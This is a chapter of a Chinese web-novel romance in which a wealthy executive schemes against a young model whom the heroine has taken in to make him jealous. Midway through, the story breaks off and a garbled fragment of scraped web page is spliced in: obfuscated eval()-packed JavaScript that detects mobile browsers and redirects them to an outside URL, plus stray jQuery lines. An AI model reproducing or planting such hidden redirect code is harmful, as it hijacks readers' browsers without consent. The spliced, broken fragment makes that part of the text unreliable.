“——我好像被她摆了一道。”
晚饭时间,谢清川先一步吃完饭后,直接拿着手机去了阳台。
他靠在茶桌边,一边皱着眉往餐厅那两人的方向瞥,一边低声和庄朗打着电话,简单说了下关于曲颂宁家多了个男保姆的事。
然而另一头的庄朗听完他说的后,不由得抹了把脸,声音低沉又严肃:“兄弟,你就是被她摆了一道。”
“你别看她态度好就不忍心说她了!她在你面前以退为进装无辜,只是为了巩固这个小白脸的地位罢了!”
“说不定那孩子就是他的呢?!你可不要被这坏女人骗了啊!”
“……”听他这么说,谢清川原本紧蹙的眉心顿时皱得更深了:“我不是来听你说这个的。”
庄朗:“?”
谢清川:“帮我查下李玄禹这个人,现在在上京艺术学院服表专业读大二。其实我感觉他有点眼熟,好像在什么照片上见过,可能是你们平面模特。”
庄朗:“???”
“我说兄弟,”庄朗猜到他的想法,忍不住闭了闭眼,咬着牙恨铁不成钢道:“合着我刚才说的话你一个字也没听进去?”
“你居然还指望着收拾掉这小白脸让曲颂宁回心转意?!”
“你知道你这行为像什么吗?”庄朗冷笑一声,毫不留情地点评起来:“像毫无地位的正宫对着小三无能狂怒。”
谢清川:“……”
谢清川:“滚。”
虽然话是这么说,但庄朗终究没有弃兄弟不顾,还是答应帮他去查李玄禹这个人。
挂了电话,谢清川抬眸扫了一眼餐厅那边的两人——
只见曲颂宁似乎正巧吃完饭。
她刚放下筷子,坐在对面的李玄禹便眼疾手快地过去扶她起来了。
见状,曲颂宁便没再抓着她平时装样用的拐杖,而是拐着李玄禹就往主卧的方向走了。
看到这一幕,谢清川眸光一顿,直接大步流星地朝主卧走去。
他到门口的时候,正巧撞见李玄禹扶着曲颂宁在床边坐下。也不知道他们在聊什么,笑个不停。
谢清川额角青筋直跳,但还是强压下脾气,硬生生逼着自己温和道:“这房间人好像有点多,我待会还要开视频会。”
话音刚落,屋里正在聊天的两人齐刷刷地望了过来。
曲颂宁一脸莫名:“都晚上了,你这个时间开会?”
“突发情况,没办法。”谢清川佯装出一本正经的样子,头疼地揉了揉额角:“健身房和衣帽间都不太方便,我只能在这开会。”
借着抬手的那一瞬遮挡,他的视线忽然扫向了一旁站着的李玄禹。
“……”
被他这么瞥了眼,李玄禹心头莫名一跳。
他下意识就觉得谢清川应该是想让他出去。
但也不知道是因为心存侥幸还是仰仗着曲颂宁撑腰,他面色顿了顿,犹豫片刻后还是没动。
“啊,该不会是因为你今天没去公司所以才要现在开会吧?”曲颂宁总算逮到机会数落他了,立马道:”你看看你,给你们员工添多大麻烦呀,一点都不懂事。”
“……”
大概是曲颂宁以退为进那招让谢清川开了窍,他沉默片刻后,非但没有像往常那样怼回来,反倒还十分谦逊地应下了她的批评:“嗯,你说得对。”
“……”本来曲颂宁都准备好接下来反击的话了,谁料谢清川没按常理出牌,直接把她酝酿到嘴边的说辞噎了回去:“……嗯?”
“不过我想了想,比起工作,还是你的健康比较重要。”谢清川和和气气地微笑道:“我要是每天都往公司跑,你的饮食质量肯定会下降。”
“你看这两天不是我做饭,你都没吃多少。”
“所以我决定——”
说着,谢清川拿起窗边沙发上放着的电脑,一本正经地说:“从今天开始居家办公,24小时全天待在家。”
“这样不仅能配合你的需要调整当天的菜单,还能及时发现家里的脏东西,立即清除保证干净。”
曲颂宁:“……”
曲颂宁显然没想到堂堂谢董在经历了这些刻薄的待遇后,居然还能咽得下这口气,不由得张大了嘴:“……啊?”
“你看你开心的,下巴都要惊掉了吧。”谢清川唇角弯起的弧度更大了。
他伸手把曲颂宁惊掉的下巴托了回去,“不用这么惊讶,这本来就是我借住期间理应承担的一些责任。”
“你只管大大方方享受就行。”
曲颂宁:“……”
-
“我怎么感觉这招没用啊?!”
趁着洗澡的时间,曲颂宁坐在浴室里,悄咪咪跟明晞打着电话,看起来急得焦头烂额:“他怎么好像越挫越勇了?!”
“居然还要24小时在家待命!他之前都没这么粘人啊!”
“哎哟,这很正常啊。”明晞一副尽在掌控之中的语气,理所当然道:“他现在有危机感了,想盯着点也很合理。这些都不重要,你只管做到那两个字——偏心,就行了。”
“可我已经很偏心了。”曲颂宁拽着自己微卷的发尾,看起来忧心忡忡的:“我把他的房间给小禹住,还夸小禹比他年轻、做的菜比他的好吃、嘴也比他甜,可他也没怎么样,反而比之前温柔了不少。”
“哎哟,这也很正常啊。”明晞还是那副尽在掌控之中的样子,“傻子才会把争风吃醋的戏码摆到明面上,聪明人都是暗地里较劲的。”
“你见过哪个聪明的妃子是跑到皇上面前大哭大闹的啊?不都是背地里使坏?看没看过宫斗剧啊你。”
曲颂宁:“……”
“嗯……好像也有道理。”曲颂宁虽然有些疑虑,但思索了一番后还是被明晞说服了,“那我现在就按原计划来?”
“对,我这边安排小禹多搬点东西过来圈地盘,你那边再配合着挤兑挤兑就行。”明晞胸有成竹地轻哼一声:“你就放心吧,这种心态不稳的人我见多了,嫉妒很可怕的。”
“坐不住的人会自己露出马脚的。”
-
“——我说兄弟,你是又要搬出宿舍吗?最近都没见你回来住啊。”
上京艺术学院宽阔的林荫路旁,李玄禹和自己的舍友一同搬着东西从宿舍楼出来。
听见舍友的疑问,李玄禹淡然一笑,将手里大包小包的东西放下:“跟以前一样,在校外找了个兼职,包吃住的。”
“晚上要到很晚,赶回宿舍挺浪费时间的,所以今天干脆把东西都搬过去。”
“哦,什么兼职啊?很远吗?”
李玄禹不是第一次做兼职了,他身材条件好,之前幸运地签上了一家还不错的模特经纪公司,拍了两次平面。
但因为男模市场需求并不大,他也不是很有特色的长相,所以能拿到的好资源不多,公司对他基本是散养状态。
只不过他的野心倒是不止于此,听说还想尝试着通过家里远房表姐的关系往娱乐圈发展。这些他舍友倒是有听说。
但他们也不知道李玄禹有没有牵上亲戚那边的线,只知道他做的兼职越来越神秘,还搬出宿舍了。
不过一般三两个月就回来了,看起来莫名其妙的。
所以他的舍友们其实早就好奇他做的什么兼职了,现在也没放过八卦的机会,顺口问道:“你这什么兼职?要到晚上几点啊?连回宿舍的时间都没有?”
闻言,李玄禹顿了一瞬,又意味深长地笑了笑:“就挺晚的,回来的时候难免影响你们睡觉。”
“是吗……?”听他这么说,舍友忽然心知肚明地跟着笑了起来,抬起手肘拱了拱他:“噢——我知道了!你小子该不会是傍上富婆了吧?!”
“别瞎说了。”李玄禹轻飘飘地摆摆手,“人家有人的,哪瞧得上我。”
不是有“对象”,而是有“人”,这话说得颇有些意味深长,他舍友一听,笑得更明显了:“就是有人你才有机会啊,油盐不进的那种才最难搞。”
对此,李玄禹不置可否地弯了弯唇,没敢再透露更多,只是岔开话题:“我叫个车过去,回头请你吃饭。”
“行。”
那位舍友点点头,正要把他手里的东西放下,却见不远处有一位西装革履的圆脸男人直直朝他们走来。
他的目光在他们两人之间扫视了一番,对着李玄禹道:“您好,请问您是李玄禹先生吧?”
闻声,两人皆是一愣。李玄禹看向这位陌生的圆脸男人:“是,请问你是?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420401|169014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我是……”孙助理话音微顿,朝一旁那位舍友瞥了眼,还是把“曲”字咽了下去,“嗯……小姐的助理。”
“嗯小姐是谁啊?”舍友疑惑地看向李玄禹。
然而李玄禹的视线却没有看他,而是定定地落在不远处那辆橘粉色的帕拉梅拉身上。
这辆车他认识,而且印象非常深刻。
前段时间他刚到曲颂宁家的时候,一眼就在地下车库看见了这辆车。
听明晞姐说,这是曲颂宁的。
她很喜欢把车改成亮眼的颜色,只不过因为亮眼也意味着高调张扬,所以平时出门很少开这辆,这车倒算是她的收藏了。
现在看到这辆车,李玄禹心脏砰地一跳。
虽然曲颂宁可能没有其他意思,只是单纯按照明晞的计划来接他过去,但他还是情不自禁地笑了起来:“啊,是她让你来接我的吗?”
孙助理一本正经地点点头,“对,说是您这几天可能要搬家,特意让我来看看您有没有需要帮忙的。”
说着,他还有意无意地往车的方向瞥了一眼,“如果没有其他东西,那我就把这些拿过去了,别让老板久等了。”
原本“特意”两个字已经让李玄禹有些心花怒放了,现在又听了后半句,李玄禹忍不住追问道:“她也来了吗?”
“……”孙助理顿了顿,只是回答:“老板吗?来了。”
听到这,李玄禹心里的笑意更甚了。
但他面上倒还是平时那副乖乖巧巧的模样:“那谢谢哥了。”
孙助理没再说其他的,直接把他地上那些东西拿了起来,径自朝那辆帕拉梅拉走去。
而李玄禹的舍友眼睛都看直了,一边探着脑袋张望,一边抬起手肘不停地推搡着李玄禹,“可以啊兄弟,豪车加助理,你是真傍上富婆了吧?!”
“苟富贵勿相忘啊兄弟!”
“没有没有,八字还没一撇呢。”李玄禹嘴上这么说,但嘴角却已经笑开了。
他和舍友道了个别,转身急匆匆地朝车的方向走去。
明明距离并不远,但短短几步路的时间他却在脑海内想了很多——
虽然曲颂宁是在利用他赶走家里那个男人,但没关系,至少在赶走那男人之前,她都很需要他,他有的是机会博得她的好感。
而且曲颂宁这个级别的金主可不多,要钱有钱、要颜有颜、要人脉有人脉、要资源有资源……说不定未来还能越过明晞姐帮他牵个线。毕竟明晞姐似乎不太看好他,每次在他透露想拍戏的时候都会让他再等等。
他必须得好好表现,让曲颂宁在这段时间对他产生好感,最好能够喜欢上他、离不开他。这才是让他进娱乐圈最快的方法。
只不过家里那男人的前车之鉴他还是得留意一下。
那男人也不知道是哪来的小明星,反正没听说过,但身材相貌都在他之上……
如果要说有什么比不上他的,大概就是脾性。
太傲了,太自以为是、高高在上了。
这样的人怎么可能甘心一直没名没分?难怪会被曲颂宁抛弃呢。
一看就没有他豁得出去。
所以豁得出去就是他最大的优势。
想到这,李玄禹立马深吸一口气,摆出了平时那副清纯乖巧又无辜的样子,抬手拉开了车门——
“颂宁姐……嗯?!”
出乎他意料的是,曲颂宁并没有如他想象那样坐在车里。
反而是那个自视甚高的男人……此刻正靠坐在车窗边,撑着脑袋漫不经心地看向他。
他微抬着下巴,漆黑的眸光从薄薄的眼皮下流露出来,看起来还是一如既往的高傲冷淡……
也很讨人厌。
李玄禹整个人一僵,下意识往后退了一步,却又撞到了另一个人。
刚才那个自称孙助理的圆脸男人正站在他身后,拦住了他的去路:“李先生还不上车吗?谢董等你很久了。”
见状,李玄禹顿时察觉到异样,立马反应过来,“什么谢董?!你们想干什么?!”
“你心里没数么?”
谢清川似乎等了很久,耐心已经耗尽了。
他轻瞥着李玄禹,忽地冷笑了一声:“我治不了曲颂宁,我还治不了你?”